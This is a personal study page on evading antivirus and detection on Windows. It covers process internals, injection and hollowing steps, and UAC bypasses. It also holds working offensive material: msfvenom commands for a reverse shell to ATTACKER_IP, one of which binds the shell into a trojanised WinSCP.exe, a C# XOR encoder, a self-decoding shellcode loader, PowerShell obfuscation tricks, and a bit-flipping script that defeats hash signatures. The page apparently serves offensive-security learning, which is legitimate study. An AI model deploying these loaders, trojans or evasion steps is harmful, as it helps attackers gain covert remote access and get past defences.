Neko

Evasion

An introduction to evading common detection techniques

Last updated: March 5th, 2023

Host

Windows Overview

Internals

Processes
Process Components Purpose
Private Virtual Address Space Virtual memory addresses that the process is allocated.
Executable Program Defines code and data stored in the virtual address space.
Open Handles Defines handles to system resources accessible to the process.
Security Context The access token defines the user, security groups, privileges, and other security information.
Process ID Unique numerical identifier of the process.
Threads Section of a process scheduled for execution.
Components of a Process in Memory Purpose
Code Code to be executed by the process.
Global Variables Stored variables.
Process Heap Defines the heap where data is stored.
Process Resources Defines further resources of the process.
Environment Block Data structure to define process information.
  • Common Process Injection Steps
    • Shellcode Injection
      1. Open a target process with all access rights.
        • OpenProcess
      2. Allocate target process memory for the shellcode.
        • VirtualAllocEx
      3. Write shellcode to allocated memory in the target process.
        • WriteProcessMemory
      4. Execute the shellcode using a remote thread.
        • CreateRemoteThread
    • Process Hollowing
      1. Create a target process in a suspended state.
        • CreateProcessA
      2. Open a malicious image.
        • CreateFileA
        • GetFileSize
        • VirtualAlloc
        • ReadFile
      3. Un-map legitimate code from process memory.
        • GetThreadContext
        • ReadProcessMemory
        • GetModuleHandleA
        • ZwUnmapViewOfSection
      4. Allocate memory locations for malicious code and write each section into the address space.
        • VirtualAlloc
        • WriteProcessMemory
      5. Set an entry point for the malicious code.
        • SetThreadContext
      6. Take the target process out of a suspended state.
        • ResumeThread
Threads
Component Purpose
Stack All data relevant and specific to the thread (exceptions, procedure calls, etc.)
Thread Local Storage Pointers for allocating storage to a unique data environment
Stack Argument Unique value assigned to each thread
Context Structure Holds machine register values maintained by the kernel
  • Thread Execution Hijacking
    1. Locate and open a target process to control.
      • OpenProcess
    2. Allocate memory region for malicious code.
      • VirtualAllocEx
    3. Write malicious code to allocated memory.
      • WriteProcessMemory
    4. Identify the thread ID of the target thread to hijack.
      • CreateToolhelp32Snapshot
      • Thread32First
      • Thread32Next
    5. Open the target thread.
      • OpenThread
    6. Suspend the target thread.
      • SuspendThread
    7. Obtain the thread context.
      • GetThreadContext
    8. Update the instruction pointer to the malicious code.
    9. Rewrite the target thread context.
      • SetThreadContext
    10. Resume the hijacked thread.
      • ResumeThread
Virtual Memory
  • Provides each process with a private virtual address space
  • A memory manager translates virtual and physical addresses
  • The theoretical maximum virtual address space is 4 GB on a 32-bit x86 system and 256 TB on a 64-bit modern system
  • The address space is split in half, bottom for processes and top for OS
    • Administrators can alter this allocation layout for applications that require a larger address space through settings (increaseUserVA) or the AWE (Address Windowing Extensions)
DLLs
  • A library that contains code and data that can be used by more than one program at the same time
  • When a DLL is loaded as a function in a program, the DLL is assigned as a dependency
  • DLLs can be loaded in a program using load-time dynamic linking (explicit calls by using header (.h) and import library (.lib) file) or run-time dynamic linking (a separate function (LoadLibrary or LoadLibraryEx) loads the DLL and called using GetProcAddress).
  • Dynamic-link Library Injection (DLL Injection)
    1. Locate a target process to inject.
      • getProcessId
      • CreateToolhelp32Snapshot
      • Process32First
      • Process32Next
    2. Open the target process.
      • OpenProcess
    3. Allocate memory region for malicious DLL.
      • VirtualAllocEx
    4. Write the malicious DLL to allocated memory.
      • WriteProcessMemory
    5. Load and execute the malicious DLL.
      • LoadLibrary
      • GetProcAddress
      • GetModuleHandle
      • CreateRemoteThread
PE format
  • The PE (Portable Executable) and COFF (Common Object File Format) files make up the PE format
  • The PE format defines the information about the executable, stored data, and the structure of how data components are stored.
Component Description
DOS Header Initial part of the PE file with DOS-specific information.
MZ DOS Header Marked by "MZ" signature, it is the start of the DOS header.
DOS Stub Run by default at the beginning of a file that prints a compatibility message.
PE File Header Contains information about the structure and attributes of the PE file.
Image Optional Header Additional information about the PE file, including the entry point, image base, and more.
Data Dictionaries Tables that store various data structures and information about the PE file.
Section Table Descriptions of each section in the PE file, including code and data sections.

The Section table has the following sections:

Section Purpose
.text Contains executable code and the entry point for the program.
.data Contains initialized data such as strings, variables, and other data.
.rdata Read Only
.edata Exportable objects
.idata Imported objects
.reloc Relocation information used to adjust addresses when the PE file is loaded at a different base address.
.rsrc Contains application resources such as images, icons, and other non-executable data.
.debug Contains debug information used for debugging and symbol resolution.
  • Defining the shellcode as a local variable within the main function will store it in the .TEXT PE section.
  • Defining the shellcode as a global variable will store it in the .Data section.
  • Another technique involves storing the shellcode as a raw binary in an icon image and linking it within the code, so in this case, it shows up in the .rsrc Data section.
  • We can add a custom data section to store the shellcode.

API

Subsystem and Hardware Interaction
Mode Access to Hardware Memory Access
User Mode No direct hardware access Access to "owned" memory locations
Kernel Mode Direct hardware access Access to entire physical memory
Components of the Windows API
Layer Explanation
API A top-level/general term or theory used to describe any call found in the Win32 API structure.
Header files or imports Defines libraries to be imported at run-time, defined by header files or library imports. Uses pointers to obtain the function address.
Core DLLs A group of four DLLs that define call structures (KERNEL32, USER32, and ADVAPI32). These DLLs define kernel and user services that are not contained in a single subsystem.
Supplemental DLLs Other DLLs defined as part of the Windows API. Control separate subsystems of the Windows OS. Approximately 36 other defined DLLs (e.g., NTDLL, COM, FVEAPI, etc.).
Call Structures Defines the API call itself and parameters of the call.
API Calls The API call used within a program, with function addresses obtained from pointers.
In/Out Parameters The parameter values that are defined by the call structures.
Call Structures
OS Libraries

ASLR obscures memory address locations. P/Invoke and windows.h are two common ways to overcome the limitations introduced by ASLR.

  • Windows Header File
    • Once the windows.h file is included at the top of an unmanaged program; any Win32 function can be called.
  • P/Invoke
    • P/invoke provides tools to handle the entire process of invoking an unmanaged function from managed code or, in other words, calling the Win32 API.
Commonly Abused API Calls
API Call Explanation
LoadLibraryA Maps a specified DLL into the address space of the calling process.
GetUserNameA Retrieves the name of the user associated with the current thread.
GetComputerNameA Retrieves a NetBIOS or DNS name of the local computer.
GetVersionExA Obtains information about the version of the operating system currently running.
GetModuleFileNameA Retrieves the fully qualified path for the file of the specified module and process.
GetStartupInfoA Retrieves contents of STARTUPINFO structure (window station, desktop, standard handles, and appearance of a process).
GetModuleHandle Returns a module handle for the specified module if mapped into the calling process's address space.
GetProcAddress Returns the address of a specified exported DLL function.
VirtualProtect Changes the protection on a region of memory in the virtual address space of the calling process.

UAC

UAC Overview
  • UAC forces new processes to run as non-privileged
  • Elevation presents a dialogue box for the user to confirm
  • UAC is MIC:
    • Integrity Level Use
      Low Generally used for interaction with the Internet (i.e., Internet Explorer). Has very limited permissions.
      Medium Assigned to standard users and Administrators' filtered tokens.
      High Used by Administrators' elevated tokens if UAC is enabled. If UAC is disabled, all administrators will always use a high IL token.
      System Reserved for system use.
  • Non-administrators will receive a single access token when logged in, which will be used for all tasks performed by the user. This token has Medium IL.
  • Administrators will receive two access tokens:
    • Filtered Token: A token with Administrator privileges stripped, used for regular operations. This token has Medium IL.
    • Elevated Token: A token with full Administrator privileges, used when something needs to be run with administrative privileges. This token has High IL
UAC Internals
  1. The user requests to run an application as administrator.
  2. A ShellExecute API call is made using the runas verb.
  3. The request gets forwarded to Appinfo to handle elevation.
  4. The application manifest is checked to see if AutoElevation is allowed
  5. Appinfo executes consent.exe, which shows the UAC prompt on a secure desktop.
    • A secure desktop is simply a separate desktop that isolates processes from whatever is running in the actual user's desktop to avoid other processes from tampering with the UAC prompt in any way.
  6. If the user gives consent to run the application as administrator, the Appinfo service will execute the request using a user's Elevated Token.
  7. Appinfo will then set the parent process ID of the new process to point to the shell from which elevation was requested.
UAC Bypasses
  • Gui
    • msconfig.exe
      • Launching a command prompt from the tools section will spawn at High IL
    • azman.msc
      • A shell can be spawned by going to help, right clicking on the page and hitting View Source. Then, from notepad open cmd.exe
UAC Automated Exploitation

Evasion Techniques

AV Review

  • Static Detection
    • Uses pattern-matching techniques in the detection, such as finding a unique string, CRC (Checksums), sequence of bytecode/Hex values, and Cryptographic hashes (MD5, SHA1, etc.)
  • Dynamic Detection
    • Checks files at runtime by using Windows Hooks to inspect api and application calls or by sandboxing apps and running them to observe.
  • Heuristics Detection
    • Static
      • Decompiling (if possible) and extracting the source code of the malicious software.
    • Dynamic
      • Uses predefined behavioral rules

Shellcode

Creating Shellcode
  • We have to know what values we need to set in different processor registers to make syscalls
    • For x64 Linux:
      • The rax register is used to indicate the function in the kernel
      • Parameters are set through the rdi, rsi and rdx registers
      • Call Table
  • We need to define a section and a start
  • jmp to function that has a call to the function that sets all the values
  • Compile: nasm -f elf64 file.asm
  • extract text section: objcopy -j .text -O binary file file.text
  • convert to hex: xxd -i file.text
Encoding, Encrypting, Packing and Binding
  • Encoding
    • #Likely to be flagged
      msfvenom --list encoders | grep excellent
      
      #Custom
      #payload
      msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp
      
      #encoder
      
      using System;
      using System.Collections.Generic;
      using System.Linq;
      using System.Text;
      using System.Threading.Tasks;
      
      namespace Encrypter
      {
          internal class Program
          {
              private static byte[] xor(byte[] shell, byte[] KeyBytes)
              {
                  for (int i = 0; i < shell.Length; i++)
                  {
                      shell[i] ^= KeyBytes[i % KeyBytes.Length];
                  }
                  return shell;
              }
              static void Main(string[] args)
              {
                  //XOR Key - It has to be the same in the Droppr for Decrypting
                  string key = "PassK3y123!";
      
                  //Convert Key into bytes
                  byte[] keyBytes = Encoding.ASCII.GetBytes(key);
      
                  //Original Shellcode here (csharp format)
                  byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };
      
                  //XORing byte by byte and saving into a new array of bytes
                  byte[] encoded = xor(buf, keyBytes);
                  Console.WriteLine(Convert.ToBase64String(encoded));        
              }
          }
      }
      
      #selfdecoding payload
      
      using System;
      using System.Net;
      using System.Text;
      using System.Runtime.InteropServices;
      
      public class Program {
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
      
        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
      
        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
      
        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
        
        private static byte[] xor(byte[] shell, byte[] KeyBytes)
              {
                  for (int i = 0; i < shell.Length; i++)
                  {
                      shell[i] ^= KeyBytes[i % KeyBytes.Length];
                  }
                  return shell;
              }
        public static void Main()
        {
      
          string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
          byte[] data = Convert.FromBase64String(dataBS64);
      
          string key = "PassK3y123!";
          //Convert Key into bytes
          byte[] keyBytes = Encoding.ASCII.GetBytes(key);
      
          byte[] encoded = xor(data, keyBytes);
      
          UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
          Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
      
          IntPtr threadHandle = IntPtr.Zero;
          UInt32 threadId = 0;
          IntPtr parameter = IntPtr.Zero;
          threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
      
          WaitForSingleObject(threadHandle, 0xFFFFFFFF);
      
        }
      }
      
                                
  • Encryption
    • msfvenom --list encrypt
  • Packers
    • Achieve some level of obfuscation by implementing a mixture of transforms that include compressing, encrypting, adding debugging protections and many others.
    • Packed code is executed like this:
      1. The unpacker gets executed first, as it is the executable's entry point.
      2. The unpacker reads the packed application's code.
      3. The unpacker will write the original unpacked code somewhere in memory and direct the execution flow of the application to it.
    • If the AV does in-memory scans, malicious code may be picked up.
  • Binders
    • Merge two (or more) executables into a single one.
    • Does not evade AVs but can trick users
    • msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe

Obfuscation

  • Obfuscation Methods
    • Obfuscation Method Purpose
      Array Transformation Transforms an array by splitting, merging, folding, and flattening
      Data Encoding Encodes data with mathematical functions or ciphers
      Data Procedurization Substitutes static data with procedure calls
      Data Splitting/Merging Distributes information of one variable into several new variables
      Junk Code Adds junk instructions that are non-functional, also known as code stubs
      Separation of Related Code Separates related codes or instructions to increase difficulty in reading the program
      Stripping Redundant Symbols Strips symbolic information such as debug information or other symbol tables
      Meaningless Identifiers Transforms a meaningful identifier to something meaningless
      Implicit Controls Converts explicit control instructions to implicit instructions
      Dispatcher-based Controls Determines the next block to be executed during runtime
      Probabilistic Control Flows Introduces replications of control flows with the same semantics but different syntax
      Bogus Control Flows Control flows deliberately added to a program but will never be executed
  • Object Concatenation
    • Language Concatenation Operator
      Python “+”
      PowerShell “+”, ”,”, ”$”, or no operator at all
      C# “+”, “String.Join”, “String.Concat”
      C “strcat”
      C++ “+”, “append”
  • Non-Interpreted Characters
    • Character Purpose Example
      Breaks Break a single string into multiple substrings and combine them ('co'+'ffe'+'e')
      Reorders Reorder a string’s components ('{1}{0}'-f'ffee','co')
      Whitespace Include white space that is not interpreted .( 'Ne' +'w-Ob' + 'ject')
      Ticks Include ticks that are not interpreted d\`own\`LoAd\`Stri\`ng
      Random Case Tokens are generally not case sensitive and can be any arbitrary case dOwnLoAdsTRing

Signature

  • Static Code-Based
    • Obfuscation Methods
      Obfuscation Method Purpose
      Method Proxy Creates a proxy method or a replacement object
      Method Scattering/Aggregation Combines multiple methods into one or scatters a method into several
      Method Clone Creates replicas of a method and randomly calls each
    • Obfuscation Classes
      • Obfuscation Method Purpose
        Class Hierarchy Flattening Create proxies for classes using interfaces
        Class Splitting/Coalescing Transfer local variables or instruction groups to another class
        Dropping Modifiers Remove class modifiers (public, private) and make all members public
  • Static Property-Based Signatures
    • File Hashes
      • Bit Flipping:
        import sys
        
        orig = list(open(sys.argv[1], "rb").read())
        
        i = 0
        while i < len(orig):
          current = list(orig)
          current[i] = chr(ord(current[i]) ^ 0xde)
          path = "%d.exe" % i
          
          output = "".join(str(e) for e in current)
          open(path, "wb").write(output)
          i += 1
          
        print("done")
    • Entropy
      • To lower entropy, we can replace random identifiers with randomly selected English words.
  • Behavioral
    • Observing Imports
      • Use dynamic loading
        1. Define the structure of the call
        2. Obtain the handle of the module the call address is present in
        3. Obtain the process address of the call
        4. Use the newly created call
    • Hooking Malicious Calls

Runtime Detection

Logging and Monitoring

Network

Security Solutions

Firewalls

Sandbox